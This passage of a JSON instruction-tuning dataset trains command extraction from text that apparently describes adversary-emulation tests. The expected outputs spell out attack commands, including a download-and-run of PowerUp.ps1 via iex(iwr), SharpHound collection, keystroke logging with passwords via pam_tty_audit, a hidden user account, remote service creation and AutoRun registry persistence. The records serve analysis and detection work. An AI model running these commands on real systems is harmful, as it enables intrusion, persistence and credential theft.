    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary might verify remote service status through WMI, using the command: wmic /node:\"#{node}\" service where (caption like \"%#{service_search_string}%\"); To execute a process on the local host using wmic.exe, run the following command: wmic process call create #{process_to_execute}",
    "output": "{\"command_list\": [\"wmic /node:\\\"#{node}\\\" service where (caption like \\\"%#{service_search_string}%\\\")\\n\", \"wmic process call create #{process_to_execute}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For emulating changes to auditd configuration files, use the following command sequence: sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}\nif [ -f \"/etc/#{auditd_config_file_name}\" ];\nthen sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}\nelse sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}\nfi \nsed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}\n; To emulate the modification of auditd configuration files, use the following command: echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}\n",
    "output": "{\"command_list\": [\"sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}\\nif [ -f \\\"/etc/#{auditd_config_file_name}\\\" ];\\nthen sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}\\nelse sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}\\nfi \\nsed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}\\n\", \"echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For capturing all keystrokes in a ssh session via the pam_tty_audit module, use this command sequence: cp -v /etc/pam.d/sshd /tmp/\necho \"session required pam_tty_audit.so disable=* enable=* open_only log_passwd\" >> /etc/pam.d/sshd\nsystemctl restart sshd\nsystemctl restart auditd\nssh #{user_account}@localhost \nwhoami\nsudo su\nwhoami\nexit\nexit; For tracking command executions in both 32 and 64 bit architectures via auditd, execute the following sequence: auditctl -a always,exit -F arch=b64 -S execve -k CMDS \nauditctl -a always,exit -F arch=b32 -S execve -k CMDS\nwhoami; ausearch -i --start now",
    "output": "{\"command_list\": [\"cp -v /etc/pam.d/sshd /tmp/\\necho \\\"session required pam_tty_audit.so disable=* enable=* open_only log_passwd\\\" >> /etc/pam.d/sshd\\nsystemctl restart sshd\\nsystemctl restart auditd\\nssh #{user_account}@localhost \\nwhoami\\nsudo su\\nwhoami\\nexit\\nexit\\n\", \"auditctl -a always,exit -F arch=b64 -S execve -k CMDS \\nauditctl -a always,exit -F arch=b32 -S execve -k CMDS\\nwhoami; ausearch -i --start now\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To list all printers on a Windows system, which is a common discovery technique used by attackers to identify potential targets, use the following command: Get-Printer; You can create a system user by executing this command: useradd -M -N -r -s /bin/bash -c evil_account #{username}\n",
    "output": "{\"command_list\": [\"Get-Printer\\n\", \"useradd -M -N -r -s /bin/bash -c evil_account #{username}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon successful execution, PowerShell will download `AtomicService.exe` from GitHub, and cmd.exe will spawn sc.exe to create and start the service with this command: sc.exe \\\\#{remote_host} create #{service_name} binPath= \"#{binary_path}\" start=#{startup_type} type=#{service_type}\nsc.exe \\\\#{remote_host} start #{service_name}\n; By running the following PowerShell commands, you can change a service's binary path temporarily before restoring it: Stop-Service -Name \"#{service_name}\" -force -erroraction silentlycontinue | Out-Null\nset-servicebinarypath -name \"#{service_name}\" -path \"#{new_bin_path}\"\nstart-service -Name \"#{service_name}\" -erroraction silentlycontinue | out-null",
    "output": "{\"command_list\": [\"sc.exe \\\\\\\\#{remote_host} create #{service_name} binPath= \\\"#{binary_path}\\\" start=#{startup_type} type=#{service_type}\\nsc.exe \\\\\\\\#{remote_host} start #{service_name}\\n\", \"Stop-Service -Name \\\"#{service_name}\\\" -force -erroraction silentlycontinue | Out-Null\\nset-servicebinarypath -name \\\"#{service_name}\\\" -path \\\"#{new_bin_path}\\\"\\nstart-service -Name \\\"#{service_name}\\\" -erroraction silentlycontinue | out-null\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For modifying firewall rules on UFW, first deny access from a specific IP then display the current rules with the command: ufw prepend deny from 1.2.3.4\nufw status numbered; If PF is installed and enabled, you can manage rules by executing this command: \necho \"block in proto tcp from 1.2.3.4 to any\" | pfctl -a pf-rules -f -\npfctl -a pf-rules -s rules\n",
    "output": "{\"command_list\": [\"ufw prepend deny from 1.2.3.4\\nufw status numbered\\n\", \"echo \\\"block in proto tcp from 1.2.3.4 to any\\\" | pfctl -a pf-rules -f -\\npfctl -a pf-rules -s rules\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To persist by abusing the CommandProcessor AutoRun registry key, which executes a specified command whenever cmd.exe is run, use the following PowerShell commands: $path = \"HKCU:\\Software\\Microsoft\\Command Processor\"\nif (!(Test-Path -path $path)){\n  New-Item -ItemType Key -Path $path\n}\nNew-ItemProperty -Path $path -Name \"AutoRun\" -Value \"#{command}\" -PropertyType \"String\"; To configure the Windows Error Reporting framework to launch a debugger when applications hang, use the following command: reg add \"HKLM\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Hangs\" /v Debugger /t REG_SZ /d \"C:\\Windows\\System32\\notepad.exe\" /f",
    "output": "{\"command_list\": [\"$path = \\\"HKCU:\\\\Software\\\\Microsoft\\\\Command Processor\\\"\\nif (!(Test-Path -path $path)){\\n  New-Item -ItemType Key -Path $path\\n}\\nNew-ItemProperty -Path $path -Name \\\"AutoRun\\\" -Value \\\"#{command}\\\" -PropertyType \\\"String\\\"\", \"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\Windows Error Reporting\\\\Hangs\\\" /v Debugger /t REG_SZ /d \\\"C:\\\\Windows\\\\System32\\\\notepad.exe\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
